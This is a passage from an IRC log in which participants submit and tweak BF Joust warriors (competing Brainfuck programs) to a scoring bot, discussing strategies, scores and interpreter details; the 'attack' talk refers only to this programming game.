23:50:49 Score for ais523_vibration_fool: 44.5 23:50:49 arrgh i'm dumb 23:51:03 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>-([[-][-][+]>]+)*30 23:51:05 Score for Deewiant_maglev: 34.1 23:51:10 ais523, um? 23:51:11 ais523: btw, a good argument for [-] not taking the cycle to make you win: "[]hey, i've been zeroed, let's react" doesn't work 23:51:14 That one beats the vibrators 23:51:20 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>-([[-][-][+][+]>]+)*30 23:51:23 Score for Deewiant_maglev: 37.7 23:52:03 AnMaster: if the opponent doesn't turn up for ten-thousand cycles, almost certainly it's a defence program 23:52:09 so switch to a counter-defence strategy 23:52:10 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>-([([-])*2([+])*2>]+)*30 23:52:12 ais523, ai 23:52:13 ah* 23:52:13 Score for Deewiant_maglev: 44.3 23:52:25 !bfjoust barbeque [(+)*256] 23:52:26 ehird: if the ] jumps to the [ rather than to itself, [] still detects itself being zeroed 23:52:28 Score for GregorR-L_barbeque: 24.6 23:52:31 Now it loses against the original vibration again 23:52:35 Hmmh 23:52:50 ais523: I know, but the point is, you can do [] to monitor if an opponent's just zeroed you, and have time to react 23:52:52 Which is nice. 23:52:53 !bfjoust melodic_fooltool [-[+[-[+[-[+[-[+]-]+]-]+]-]+]-] 23:52:56 Score for ehird_melodic_fooltool: 12.2 23:53:01 ehird: oh, agreed it's nice 23:53:05 I thought you were saying that was a bad thing 23:53:15 Haha, melodic_fooltool wins against shade. 23:53:17 so are you saying you agree with [-] being equivalent to -.-.-.-.-.-.-. in the absence of zeroes? 23:53:21 ehird: ([](+)*100)*100000? :-P 23:53:25 ais523: Well, it doesn't work 23:53:33 By the time [] realises you're zeroed, a cycle passes 23:53:35 and thou hast lost 23:53:50 !bfjoust melodic_fooltool_variant >+>+>[-[+[-[+[-[+[-[+]-]+]-]+]-]+]-] 23:53:53 err 23:53:53 Score for AnMaster_melodic_fooltool_variant: 15.2 23:53:56 !bfjoust melodic_fooltool_variant >+>+>+[-[+[-[+[-[+[-[+]-]+]-]+]-]+]-] 23:53:58 Score for AnMaster_melodic_fooltool_variant: 23.9 23:53:59 even 23:54:00 AnMaster: Wow. You're a hypocrite. 23:54:04 ehird: ah, yes 23:54:07 "ehird, don't rip off others' programs and just change a minor detail!" 23:54:10 ehird, I'm going to delete it now 23:54:12 you could change that by making [] take the value at the end of the cycle 23:54:15 kay 23:54:15 !bfjoust melodic_fooltool_variant < 23:54:17 Score for AnMaster_melodic_fooltool_variant: 0.0 23:54:19 ais523: Yes 23:54:21 ehird, just wanted to test an idea 23:54:29 ais523: otoh, you could probably make an unbeatable program that way 23:54:36 [](+)*99999999999 23:54:41 nah, it wouldn't be unbeatable 23:54:41 or whatever 23:54:42 !bfjoust dumbfend [>(+)*128] 23:54:45 Do not meddle in the affairs of ehirds, for they are blunt and quick to anger 23:54:45 ehird, and it seemed my idea worked better 23:54:45 Score for GregorR-L_dumbfend: 18.0 23:54:50 but the other program would have to predict what it was going to do next 23:54:53 Deewiant: totally 23:54:59 ais523: Sounds interesting. 23:55:09 ais523: Think I should put that in my interp? 23:55:10 not really, it would just be a 1/3 chance of being right 23:55:18 I mean, the strategy of [] 23:55:18 with no strategy involved 23:55:24 Is it bad? :P 23:55:34 hmm... it may be interesting to experiment with 23:55:45 but I don't think we should change it to default until we look at what becomes possible and impossible due to it 23:55:48 !bfjoust ehirds_melodic_fooltool_variant >+>+>+>+<+<[-[+[-[+[-[+[-[+]-]+]-]+]-]+]-] 23:55:49 !bfjoust lols (-)*63(->[+])*20 23:55:51 -!- Sgeo_ has joined. 23:55:52 Score for leonid__lols: 20.6 23:55:52 Score for AnMaster_ehirds_melodic_fooltool_variant: 23.8 23:55:52 ais523: right 23:55:58 !bfjoust king >>>[(++)*256>(+)*128<-] 23:55:58 !bfjoust ehirds_melodic_fooltool_variant >+>+>+>+<<[-[+[-[+[-[+[-[+]-]+]-]+]-]+]-] 23:56:02 Score for KingOfKarlsruhe_king: 18.7 23:56:02 Score for AnMaster_ehirds_melodic_fooltool_variant: 26.6 23:56:07 !bfjoust ehirds_melodic_fooltool_variant < 23:56:10 Score for AnMaster_ehirds_melodic_fooltool_variant: 0.0 23:56:30 !bfjoust melodic_toolfool (-[{(+[]-)%50}]+)%50 23:56:32 Score for ehird_melodic_toolfool: 0.0 23:56:35 !bfjoust lols ((-)*64>(+)*64>)*15(>[+])*15 23:56:38 Score for leonid__lols: 5.8 23:56:40 I am very good at being bad. 23:56:40 whoa 23:57:02 is it same as being very bad at being good? 23:57:06 ehird: You put a % where there were no {} 23:57:07 !bfjoust ehirds_melodic_fooltool_variant >++>>+>+>+>++<<[-[+[-[+[-[+[-[+]-]+]-]+]-]+]-] 23:57:10 Score for AnMaster_ehirds_melodic_fooltool_variant: 25.4 23:57:11 Oh 23:57:14 !bfjoust ehirds_melodic_fooltool_variant < 23:57:17 interesting 23:57:17 Score for AnMaster_ehirds_melodic_fooltool_variant: 0.0 23:57:19 !bfjoust melodic_toolfool (-[{(+[]-)*50}]+)%50 23:57:22 Score for ehird_melodic_toolfool: 21.1 23:57:47 ais523: toolfool draws with vibration 23:58:01 wait, no. 23:58:03 ehird: neither contains < or > 23:58:05 so it isn't surprising 23:58:05 ais523: Toolfool wins against vibration. 23:58:13 !bfjoust king (++)*512[>(+)*512<-] 23:58:16 Score for KingOfKarlsruhe_king: 6.5 23:58:46 ehird: so it does. But how? Neither of them move left or right... 23:58:55 and I don't think the original vibration suicides 23:58:58 ais523: No idea. 23:59:19 It also wins against shade. 23:59:27 !bfjoust lols ((-)*64>(+)*64>)*8(>[+])*15 23:59:29 Score for leonid__lols: 14.5 23:59:45 !bfjoust lols ((-)*64>(+)*64>)*7(>[+])*20 23:59:47 Score for leonid__lols: 26.0 23:59:57 !bfjoust king (++>)*20[<-] 2009-05-29: 00:00:00 Score for KingOfKarlsruhe_king: 7.4 00:00:02 !bfjoust lols ((-)*64>(+)*64>)*6(>[+])*20 00:00:05 Score for leonid__lols: 21.9 00:00:19 !bfjoust isthata128 (>)*9((+)*128>)*21 00:00:22 Score for ais523_isthata128: 5.0 00:00:30 !bfjoust king (([-])>)*20[<-] 00:00:33 Score for KingOfKarlsruhe_king: 0.0 00:00:41 heh, it lost to everything but boring 00:00:48 lance.c:120: warning: control may reach end of non-void function ‘run_match’ being inlined 00:00:49 lol wut? 00:00:53 which is strange, I expected it to beat defend6 00:00:57 i wonder what that means 00:01:05 ehird: it's like control may reach end of non-void function 00:01:09 right 00:01:12 but the fact that it's inlined makes it worse 00:01:12 i got one of them too :) 00:01:14 or something 00:01:15 haha 00:01:21 !bfjoust lols ((-)*64>(+)*64>)*6(>[+][+])*20 00:01:23 Score for leonid__lols: 22.4 00:01:25 warning: REALLY TERRIBLE SHIT IS GOING TO HAPPEN. 00:01:27 !bfjoust lols ((-)*64>(+)*64>)*7(>[+][+])*20 00:01:29 Score for leonid__lols: 29.6 00:01:30 SCREAM A LOT. 00:01:33 !bfjoust lols ((-)*64>(+)*64>)*7(>[+][+][+])*20 00:01:36 Score for leonid__lols: 30.7 00:01:39 .... 00:01:41 ehird, control reaches end: 00:01:47 !bfjoust lols ((-)*64>(+)*64>)*7(>([+])*10)*20 00:01:49 AnMaster: yes, I know what that part means 00:01:49 Score for leonid__lols: 30.7 00:01:53 !bfjoust lols ((-)*64>(+)*64>)*7(>([+])*20)*20 00:01:54 int foo(void) { /noreturn here 00:01:56 Score for leonid__lols: 27.1 00:01:58 typedef struct { 00:01:58 ins_t *prog; 00:01:59 int foo(void) { /* noreturn here */ } 00:02:00 int pointer; 00:02:01 that 00:02:02 } warrior_t; 00:02:03 *wonders if a warrior consists of anything else* 00:02:06 AnMaster: I know. 00:02:07 !bfjoust lols ((-)*64>(+)*64>)*8(>([+])*10)*20 00:02:08 I was talking about the rest. 00:02:08 right 00:02:10 Score for leonid__lols: 30.7 00:02:13 ehird, the inline bit? 00:02:14 haha, I just figured out what's wrong with isthata128 00:02:15 yeah 00:02:16 no idea 00:02:19 !bfjoust isthata128 (>)*9((+)*128.>)*21 00:02:22 Score for ais523_isthata128: 27.5 00:02:27 that's better 00:02:59 ais523, idea: make a program that won't draw against itself 00:03:04 is it possible? 00:03:04 also, that beats defend6, although it wouldn't beat the parody version 00:03:05 AnMaster: you can't 00:03:12 there's no way to break symmetry 00:03:13 ais523, has it been proven? 00:03:20 AnMaster: it's trivial to prove 00:03:27 !bfjoust lols ((-)*64>(+)*64>)*10(>([+])*5)*20 00:03:28 the thing's symmetrical and determinstic 00:03:30 Score for leonid__lols: 42.9 00:03:30 ais523, couldn't you make both loose at the same time 00:03:31 that's all the proof you need 00:03:32 what about 00:03:34 [-] 00:03:40 AnMaster: both losing at the same time is a draw 00:03:45 !bfjoust lols ((-)*64>(+)*64>)*11(>([+])*5)*20 00:03:48 ah bugger 00:03:48 Score for leonid__lols: 16.9 00:03:52 !bfjoust lols ((-)*64>(+)*64>)*9(>([+])*5)*20 00:03:55 Score for leonid__lols: 30.5 00:04:01 !bfjoust lols ((-)*64>(+)*64>)*10(>([+])*6)*20 00:04:03 Score for leonid__lols: 36.3 00:04:06 !bfjoust lols ((-)*64>(+)*64>)*10(>([+])*4)*20 00:04:09 Score for leonid__lols: 7.8 00:04:25 ais523, with the polarity thing it would be possible 00:04:29 !bfjoust lols ((-)*64>(+)*64>)*10(>([+])*9)*20 00:04:31 in "kettle" mode 00:04:32 Score for leonid__lols: 23.5 00:04:34 !bfjoust king >[(++>++<<)*256>(+)*128<-] 00:04:36 Score for KingOfKarlsruhe_king: 18.1 00:04:44 !bfjoust lols ((-)*64>(+)*64>)*11(>([+])*10)*20 00:04:47 Score for leonid__lols: 20.5 00:04:52 ais523: how would you handle looping checking the value at the end of the turn? 00:04:55 sounds like it'd be a bit sticky 00:05:13 !bfjoust king [>[(++>++<<)*256>(+)*128<-]+] 00:05:16 Score for KingOfKarlsruhe_king: 4.2 00:05:48 ehird: ? 00:05:49 hm 00:05:54 ais523: as in, [] works 00:05:58 = ] checks value at end of turn 00:06:01 a bit boring with only two warriors at once 00:06:09 what about a massive battle? 00:06:11 ehird: hmm, I'm not sure 00:06:17 hm 00:06:23 AnMaster: more than two warriors at once sounds fun 00:06:33 ehird, not sure how to implement it though 00:06:33 but where would the flags go? 00:06:35 you'd need an N-d array 00:06:42 ehird, befunge joust? 00:06:43 v move poitner down 00:06:45 which, though it would be fun, sounds very scary 00:06:45 ^ move pointer up 00:06:46 :D 00:06:49 nescience: that's just 2D 00:06:52 4 would work, at least 00:06:53 you'd need number-of-warriors-D 00:06:58 befunge joust 00:07:00 clearly 00:07:01 ehird, ^ 00:07:01 4 programs in 2D 00:07:03 so that the flags could be at the end of them 00:07:05 AnMaster: I did that 00:07:06 Each program in its own corner 00:07:07 in ~2007 00:07:10 ehird, link? 00:07:12 BeYorFunge. 00:07:13 They run simultaneously in both directions 00:07:17 AnMaster: /old_hd/ 00:07:18 kay 00:07:22 ehird, on wiki? 00:07:25 Nope. 00:07:36 ehird, can you copy it from the old hd? 00:07:38 Although I guess that you'd have to run it for the different orientations 00:07:44 or is it dead? 00:07:46 AnMaster: The interp had a bug of some sort that I didn't find 00:07:50 ah 00:07:51 I can easily rewrite it 00:08:04 Since A might be killed by B before it can kill C, but if A isn't next to B it'd beat C 00:08:05 AnMaster: Basically, it's befunge-93, but P is p on the enemy's board, G is g on the enemy's board. 00:08:07 Hitting @ makes you lose. 00:08:16 Very simple. 00:08:18 um ok 00:08:22 that is not what I mean 00:08:24 AnMaster: Oh, I think I may have added something to track the enemy's IP 00:08:31 And what did you mean? 00:08:31 shared boeard 00:08:32 * pikhq discovered ~/pebble2 today. Good idea. 00:08:35 board* 00:08:40 like shared tape in joust 00:08:42 AnMaster: That'd cripple a lot of things. 00:09:07 ehird, it would make it different yes 00:09:19 ehird, but mirror the boards 00:09:21 like in joust 00:09:32 so 00:09:34 hmm. 00:09:35 could work 00:09:40 you have one program in each corner 00:09:48 AnMaster: but BF has a cost to move from one place to another 00:09:48 for each program it is rotated 90 degrees 00:09:50 -!- Sgeo has quit (Connection timed out). 00:09:55 with befunge, you can access any cell of the board instantly 00:09:58 no movement cost 00:10:00 so the program sees itself in the top corner 00:10:09 ehird, local and far pointers 00:10:14 ew. 00:10:18 ehird, same idea! 00:10:34 you can access the closest 4x4 or something 00:10:40 fast 00:10:51 but other ones would need a few more cycles 00:10:59 AnMaster: it's worth remembering that values above 16 take multiple cycles to represent in Befunge 00:11:05 so simply make P and G relative to the current pointer 00:11:09 and you get all that for free 00:11:09 ah 00:11:10 *above 15 00:11:13 AnMaster: it needs to have linear increases as distance increases 00:11:14 or exponential 00:11:16 ais523, that is true 00:11:18 but not 0 00:11:20 as in yours 00:11:23 (it only increases once) 00:11:31 ehird, true 00:11:51 ais523, what about making the VALUE relative then? 00:12:16 so P added/substracted a valuue 00:12:18 value* 00:12:33 or g or p rather 00:12:37 ahh, this code is very pretty 00:12:53 * ehird pats himself on the back for a good refactoring job. 00:12:58 * ehird continues w/ interpreter loop 00:13:22 ais523: in [>[-]+] vs [>[+]-], it's always a draw, right? 00:13:45 !bfjoust lols ((-)*64>(+)*64>)*4(>)*6(>([+])*10)*20 00:13:49 Score for leonid__lols: 24.4 00:14:06 ehird: yes, I think a program always draws with the polarity-flipped version of itself 00:14:07 !bfjoust lols ((-)*64>(+)*64>)*4(>)*6(>([+])*5)*20 00:14:09 Score for leonid__lols: 24.9 00:14:14 !bfjoust lols ((-)*64>(+)*64>)*4(>)*3(>([+])*5)*20 00:14:16 Score for leonid__lols: 21.3 00:14:19 ais523: ah 00:14:28 ais523: got a just-as-simple other warrior to pit it against as a test? 00:14:30 really trivial 00:14:35 as in, you could cycle-trace it in your sleep 00:14:58 >>>>>>>>>((+)*128.>)*21 00:15:19 ais523: and you could cycle-trace it without bashing on your keyboard :-) 00:15:28 !bfjoust lols ((-)*64>(+)*64>)*4(>)*3(>([-[+]])*5)*20 00:15:30 Score for leonid__lols: 24.7 00:15:38 preferably something that doesn't make you think "let's use an abbreviation"; I haven't added them yet 00:15:45 !bfjoust lols ((-)*64>(+)*64>)*10(>([-[+]])*5)*20 00:15:48 Score for leonid__lols: 27.7 00:15:58 >+++>---[>[-]+] 00:16:05 !bfjoust lols ((-)*10>(+)*10>)*10(>([-[+]])*5)*20 00:16:08 Score for leonid__lols: 27.1 00:16:29 !bfjoust lols (->+>)*10(>([-[+]])*5)*20 00:16:32 Score for leonid__lols: 20.2 00:16:45 ais523: err, pitting that against [>[-]+] isn't likely to do much good, is it? 00:16:47 it'll always beat it 00:16:49 -!- GregorR-L has quit (Remote closed the connection). 00:16:58 ehird: what specifically do you want? 00:17:11 ais523: just a super-trivial program that's worthy to pit against [>[-]+] in my tests 00:17:15 two programs where sometimes one wins, and sometimes the other wins? 00:17:26 sure 00:17:31 or rather 00:17:36 just two programs that don't trivially beat each other 00:17:42 >>>>>>>>>>>>>>>[>[-]+] 00:17:44 e.g., a defense program may always beat an attack one 00:17:46 but it isn't super-obvious 00:18:07 hmm... 00:18:11 what about this: 00:18:14 >[]<[-] 00:18:19 that's pretty simple 00:18:23 and I think it beats /something/ 00:18:30 ais523: >[]? that terminates immediately, for certain 00:18:35 oops 00:18:37 the opponent can't reach there soon enough to do anything to it 00:18:38 >+[]<[-] 00:18:48 it was meant to be a simple tripwire program 00:18:48 that's clever 00:18:51 you should submit it 00:18:56 with an awful-but-might-work defence after the tripwire 00:19:03 it's too slow though 00:19:06 -] is every 2 cycles 00:19:09 * nescience shrugs 00:19:09 !bfjoust stupid_tripwire >+[]<[-] 00:19:10 !bfjoust lols ([]+)*1000 00:19:14 Score for ais523_stupid_tripwire: 20.4 00:19:14 Score for leonid__lols: 18.1 00:19:16 every other, i mean 00:19:18 !bfjoust less_stupid_tripwire >+[]<[+] 00:19:20 !bfjoust lols ([]+)*100000 00:19:21 Score for ehird_less_stupid_tripwire: 19.0 00:19:23 Score for leonid__lols: 18.1 00:19:25 (fights against [-] which is more common than [+]) 00:19:35 ehird: err, mine was designed to fight against [-] 00:19:47 if it cancels out, you're going to get a draw 00:19:48 oh 00:19:58 ais523: unfortunately, won't work 00:20:01 <[ takes too long 00:20:02 !bfjoust lols ([]+)*100(>[+])*20 00:20:02 if they go in the same direction, and you're out of sync, you may win 00:20:03 I think 00:20:04 Score for leonid__lols: 18.1 00:20:09 you have to be out of sync for that to work, though 00:20:15 so I will make it out of sync 00:20:16 -!- GregorR-L has joined. 00:20:20 !bfjoust tripwire >+[]<[--] 00:20:23 Score for ais523_tripwire: 13.4 00:20:27 heh, it did even worse 00:20:28 heh 00:20:32 ins_t *a = parse("[>[-]+]", "attack"); 00:20:32 ins_t *b = parse(">+[]<[-]", "tripwire"); 00:20:33 that's why i did [.-] 00:20:35 prime number 00:20:43 !bfjoust primewire >+[]<[.-] 00:20:45 Score for ehird_primewire: 17.6 00:20:49 hurr 00:20:49 !bfjoust primewire >+[]<[.-] 00:20:52 Score for ehird_primewire: 17.6 00:20:55 won't synch with anything but another plus-wait-wait 00:21:08 !bfjoust lols ([.]+)*10000 00:21:09 haha 00:21:10 Score for leonid__lols: 18.1 00:21:13 ais523: stupid_tripwire beats vibration 00:21:20 00:19 ais523: !bfjoust stupid_tripwire >+[]<[-] 00:21:20 that on 00:21:21 e 00:21:24 !bfjoust lols ([+-]+)*10000 00:21:26 Score for leonid__lols: 29.5 00:21:32 !bfjoust lols ([+-]+)*100000 00:21:35 Score for leonid__lols: 27.4 00:21:38 ais523: why? 00:21:39 ehird: there must be a bug in vibration 00:21:40 !bfjoust lols ([+-]+)*1000 00:21:41 or maybe in the interp 00:21:42 Score for leonid__lols: 27.4 00:21:46 !bfjoust lols ([+-]+)*100 00:21:49 Score for leonid__lols: 25.1 00:21:49 I suspect a double-timeout causes vibration to lose 00:21:51 but I don't know why 00:21:55 !bfjoust lols ([+-+-]+)*10000 00:21:59 Score for leonid__lols: 25.7 00:22:03 !bfjoust lols ([+-]-)*10000 00:22:05 maybe because its flag ends up at 0 at the end of the program? 00:22:06 Score for leonid__lols: 21.0 00:22:12 !bfjoust lols ([++--]+)*10000 00:22:15 Score for leonid__lols: 30.9 00:22:19 !bfjoust lols ([+++---]+)*10000 00:22:22 Score for leonid__lols: 24.3 00:22:27 !bfjoust lols ([+++++-----]+)*10000 00:22:30 Score for leonid__lols: 23.2 00:22:45 !bfjoust lols ([++--]-)*10000 00:22:48 Score for leonid__lols: 30.9 00:23:12 !bfjoust vibration_fool_faster >>>++++<----<++++<(-)*127(-+)*5000[>[-(.)*6]] 00:23:16 Score for ais523_vibration_fool_faster: 39.5 00:23:32 heh, exact draw with vibration_fool 00:23:37 oops 00:23:42 I know how to massively improve that 00:23:46 !bfjoust vibration_fool_faster >>>++++<----<++++<(-)*127(-+)*5000[>[-(.)*6]+] 00:23:49 Score for ais523_vibration_fool_faster: 41.9 00:24:07 heh, now the defence programs are eating it for lunch 00:24:14 !bfjoust vibration_fool_faster >>>++++<----<++++<(-)*127(-+)*5000[>[-(.)*256]+] 00:24:17 Score for ais523_vibration_fool_faster: 35.7 00:24:18 ais523: do you think it'd be possible for a program to detect its opponent out of a range of, say, 5 strategies, then do one it knows to beat it? 00:24:26 !bfjoust vibration_fool_faster >>>++++<----<++++<(-)*127(-+)*5000[>[-..-.]+] 00:24:26 just a complex checker thingy, then hardcoded strategies to jump to 00:24:29 Score for ais523_vibration_fool_faster: 59.3 00:24:32 ehird: that's how defence5 worked 00:24:41 ais523: it's *defend5 00:24:44 and it's "defense" 00:24:46 ah, yes 00:24:53 except, I think the word is defence 00:24:58 !bfjoust vibration_fool_faster >>>++++<----<++++<(-)*127(-+)*5000[>[---]+] 00:25:01 Score for ais523_vibration_fool_faster: 67.9 00:25:07 Also, American English has kept the Anglo-French spelling for defense and offense, which are usually defence and offence in British English 00:25:09 I did not know. 00:25:15 thanks impomatic for the [---] counter-defence trick! 00:25:16 defense sounds nicer, and fits with "defensive" 00:25:24 wow 00:25:26 also, 129 is divisible by 3 00:25:26 you're at #2 00:25:28 !bfjoust lols ([---]-)*10000 00:25:30 Score for leonid__lols: 4.7 00:25:36 lack of originality 00:25:42 ais523: try ------ 00:25:45 it might do it faster 00:25:46 which means that it's pretty fast at beating the defensives 00:25:50 ehird: 6 isn't prime 00:25:53 ah 00:25:57 and doesn't divide into 129 either 00:25:59 !bfjoust lols ([--]-)*10000 00:26:01 Score for leonid__lols: 8.9 00:26:05 !bfjoust lols ([--++]-)*10000 00:26:07 Score for leonid__lols: 36.5 00:26:10 ais523: there's only one way to solve this 00:26:21 !bfjoust lols ([---+++]-)*10000 00:26:24 Score for leonid__lols: 26.9 00:26:27 !bfjoust lols ([---+++]--)*10000 00:26:27 I don't mind you submitting your own ripoff 00:26:30 can you stop spamming those variants of vibration. Isn't it enough to have one 00:26:30 Score for leonid__lols: 33.7 00:26:41 sorry 00:26:42 ais523, ^ 00:26:43 AnMaster: well, they do work different ways 00:26:46 vibration is pure defence 00:26:49 vibration_fool_faster isn't 00:26:51 ais523, sure. But the faster one? 00:27:02 ais523, what is the diff between ais523_vibration_fool ais523_vibration_fool_faster 00:27:06 and fool_faster and fool use rather different attack strategies 00:27:13 AnMaster: Hyyyyyyyyypocrite. 00:27:14 hm 00:27:16 fool is a very slow attack strategy (deliberate, to fool defence programs into suiciding) 00:27:24 fool_faster is a rather fast counter-defence attack strategy 00:27:29 ehird, I'm learned from you :P 00:27:31 it won't beat attack programs, but that's what the vibration was for 00:27:36 ehird, you were the first hypocrite 00:27:36 00:25 ais523: and doesn't divide into 129 either ← what's this supposed to mean? 00:27:41 THE ORIGINAL ONE 00:27:41 AnMaster: different strategies deserve different programs 00:27:48 ehird: the opponent's flag starts at 128 00:27:52 ais523: 3 mod 129 == 3 00:27:57 so 3 doesn't divide by 129 00:28:02 oh 00:28:05 ehird, that was what mine was all about tooo 00:28:06 do you mean 129 mod x 00:28:08 because the loop ends >+, the flag will end at 129 00:28:13 and yes, 129 mod 3 00:28:18 actually, I've thought up another improvement 00:28:26 !bfjoust vibration_fool_faster >>>++++<----<++++<(-)*127(-+)*5000[[[>[---]+]+]+] 00:28:29 Score for ais523_vibration_fool_faster: 73.4 00:28:31 AnMaster: instead of ---, try (-)*43 00:28:37 129 mod 43 == 0, and it's prime 00:28:45 ehird, ? 00:28:49 3 and 43 are the only two primes in the first 1,000,000 primes that satisfy that :-) 00:28:51 err 00:28:51 ais523: 00:28:54 that prevents it stalling to decoys with the value -1 00:28:57 which are rather common 00:28:59 In[11]:= Select[Prime /@ Range[1000000], Mod[129, #] == 0 &] 00:28:59 Out[11]= {3, 43} 00:29:23 i like it, i might steal that 00:29:24 :P 00:29:26 ehird: that is the sort of thing Mathematica is good at 00:29:26 !bfjoust vibration_fool_fasting_because_it_is_lent_mathematica_edition >>>++++<----<++++<(-)*127(-+)*5000[[[>[(-)*43]+]+]+] 00:29:29 Score for ehird_vibration_fool_fasting_because_it_is_lent_mathematica_edition: 61.8 00:29:29 ais523: yep 00:29:41 Meh. 00:29:44 It doesn't do terribly, at leat. 00:29:46 *least 00:29:54 !bfjoust ehird_vibration_fool_fasting_because_it_is_lent_mathematica_edition < 00:29:57 Score for ehird_ehird_vibration_fool_fasting_because_it_is_lent_mathematica_edition: 0.0 00:30:03 oops 00:30:07 !bfjoust vibration_fool_fasting_because_it_is_lent_mathematica_edition < 00:30:09 Score for ehird_vibration_fool_fasting_because_it_is_lent_mathematica_edition: 0.0 00:30:21 the problem there is that the 43 is sufficiently slow that it may be beaten by fast tripwire programs 00:30:25 right 00:30:26 and there's probably one of those on the hill by now 00:30:31 i had it in mind to do something like that 00:30:38 but hadn't gotten around to it 00:30:38 i could probably get mathematica to tell me what a good way to decrease a cell is 00:30:41 but I'd have to implement bf joust in it 00:30:46 ha 00:30:47 !bfjoust do_nothing > 00:30:50 Score for pikhq_do_nothing: 17.5 00:30:53 mathematica needs a lot better interface with the outside world 00:30:58 otherwise it's just too much rewriting 00:31:01 HOORAY, SUICIDE 00:31:13 oh great, now we have 5 versions of vibration instead of 5 versions of sit-and-wait 00:31:18 * pikhq observes that suicide isn't painless. 00:31:19 at least it gets wins 00:31:19 :P 00:31:35 nescience: stop being a malcontent, it's only three versions 00:31:41 !bfjoust lols . 00:31:41 i agree fool/fool_faster is silly 00:31:51 Score for leonid__lols: 18.6 00:31:53 scuse me, i thought i counted 5, but its only 4 00:31:55 whoa 00:31:57 (i was including ehird's) 00:31:58 I'll delete tripwire_fool if you like 00:32:00 as it's a failed strategy 00:32:00 nah 00:32:04 nescience: I set mine to < 00:32:08 so it doesn't count 00:32:13 as it'll be knocked off really soon 00:32:21 oshi 00:32:23 look at the map now 00:32:24 myndzi_slowrush still leads... hm 00:32:36 ais is gaining on me! 00:32:48 !bfjoust mzx_fool >-[>-] 00:32:50 Score for MizardX_mzx_fool: 8.4 00:33:00 !bfjoust i_keelst_thou (>)*9((-)*128[-]>)*21 00:33:01 nescience: it beats slowrush 00:33:02 Score for ehird_i_keelst_thou: 42.5 00:33:05 in the individual matchup 00:33:07 just not overall 00:33:08 hey not bad. 00:33:21 quite 00:33:21 beats maglev and vibration_fool and stuff 00:33:29 !bfjoust i_keelst_thou (>)*11((-)*128[-]>)*21 00:33:31 though slowrush isn't very defensive, i was actually really surprised it did so well 00:33:31 Score for ehird_i_keelst_thou: 43.8 00:33:35 !bfjoust i_keelst_thou (>)*17((-)*128[-]>)*21 00:33:38 Score for ehird_i_keelst_thou: 40.0 00:33:41 i woke up with this idea and hacked it up, then tweaked it a couple times and it was like whoa! 00:33:41 !bfjoust i_keelst_thou (>)*15((-)*128[-]>)*21 00:33:44 Score for ehird_i_keelst_thou: 41.6 00:33:51 !bfjoust i_keelst_thou (>)*13((-)*128[-]>)*21 00:33:54 Score for ehird_i_keelst_thou: 40.0 00:33:57 hmph 00:33:59 !bfjoust i_keelst_thou (>)*12((-)*128[-]>)*21 00:34:01 nescience: I suspect it's because defence caught on so much that everyone started writing counter-defence 00:34:02 Score for ehird_i_keelst_thou: 40.1 00:34:04 it's all about the metagame 00:34:08 !bfjoust i_keelst_thou (>)*9((-)*128[-]>)*21 00:34:10 Score for ehird_i_keelst_thou: 41.3 00:34:12 I'm happy were have fewer of the huge programs now 00:34:31 the shorter onces are less messy, easier to understand 00:34:44 what does the score mean? 00:34:47 !bfjoust mzx_fool (>)*128[-] 00:34:50 Score for MizardX_mzx_fool: 0.0 00:34:54 lament: you get a high score by beating lots of good programs 00:34:59 MizardX: 128 >s? 00:35:04 ais523: where good program = high score 00:35:10 ? 00:35:10 the opponent would have to suicide very quickly to lose to that 00:35:12 !bfjoust what [-] 00:35:13 so if you keep recalculating... 00:35:15 Score for lament_what: 7.3 00:35:17 ehird: good program = beat lots of things 00:35:18 !bfjoust mzx_fool (>)*127[-] 00:35:19 to avoid an infinite regress 00:35:21 Score for MizardX_mzx_fool: 0.0 00:35:21 7.3? 00:35:26 at least, that's how I think GregorR's system works 00:35:30 why is the score for [-] 7.3 00:35:31 !bfjoust lols . 00:35:32 lament: "you did badly w/ other programs" 00:35:34 Score for leonid__lols: 18.2 00:35:35 lament: see http://codu.org/eso/bfjoust/report.txt 00:35:39 for the full list 00:35:51 lament: note that [-] goes [-]-]-]-] 00:35:51 the scoring is like 00:35:55 ehird: i_keelst_thou beat vibration_fool_faster... 00:35:55 so (-)*128 is more effective 00:36:01 ais523: :-D 00:36:05 I wonder how? 00:36:05 you get points equal to the wins(+ties?) of programs you beat 00:36:09 !bfjoust what (-)*128 00:36:10 !bfjoust lols >([>][+])*20 00:36:12 and 1/4 points equal to programs you tie 00:36:13 Score for leonid__lols: 16.6 00:36:14 Score for lament_what: 0.0 00:36:14 ais523: it beat all vibrations 00:36:20 I'm not sure if vibration_fool_faster's defence portion is all that good against everything 00:36:23 it was rather experimental 00:36:26 ais523: and because it doesn't loop 00:36:30 !bfjoust lols >([>][-])*20 00:36:32 so if you don't beat a bunch of programs, but those programs beat everything else, you can still get a lot of points 00:36:32 Score for leonid__lols: 20.3 00:36:32 it decrements 128 before even thinking about looping 00:36:33 so it seems you have a counter-vibration attack strategy 00:36:40 ehird: ah, aha 00:36:43 nescience: oh, so the score for a program that doesn't attempt to win is proportional to the number of suiciders 00:36:44 so your petty messing about is dutifully ignored 00:36:44 !bfjoust lols (>)*9([>][-])*20 00:36:47 Score for leonid__lols: 15.3 00:37:02 !bfjoust lols >([>>][-])*20 00:37:04 Score for leonid__lols: 16.1 00:37:14 ehird: ha, good to know that works, it was in my mental queue too :P 00:37:21 !bfjoust vff_experimental >>>++++<----<++++<(-)*127(--++)*2500[[[>[---]+]+]+] 00:37:23 it's like everything changes drastically though each time i look 00:37:24 Score for ais523_vff_experimental: 63.5 00:37:34 heh, exactly the same score 00:37:37 !bfjoust vff_experimental < 00:37:40 Score for ais523_vff_experimental: 0.0 00:37:42 http://codu.org/eso/bfjoust/SCORES // the scores, as people were asking 00:37:51 no coding quickies for me till after work 00:38:01 !bfjoust hello [+] 00:38:04 Score for lament_hello: 7.8 00:38:23 GregorR, "FYB"? 00:38:28 isn't it JOUST ones 00:38:30 FukYorBrane. 00:38:35 The infrastructure is copied. 00:38:37 11 | + - 0 0 0 - + + + + + - - - - 0 + - - | 41.3 | -1 | ehird_i_keelst_thou.bfjoust 00:38:37 ah 00:38:39 [for my reference] 00:38:41 AnMaster: Oh, I copied that text from FYB :P 00:39:26 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]>)*21 00:39:28 Score for ehird_i_keelst_thou: 53.6 00:39:35 AWESOME! 00:39:45 Up there with the big guys. 00:39:59 ehird: it's like isthata128, only with a 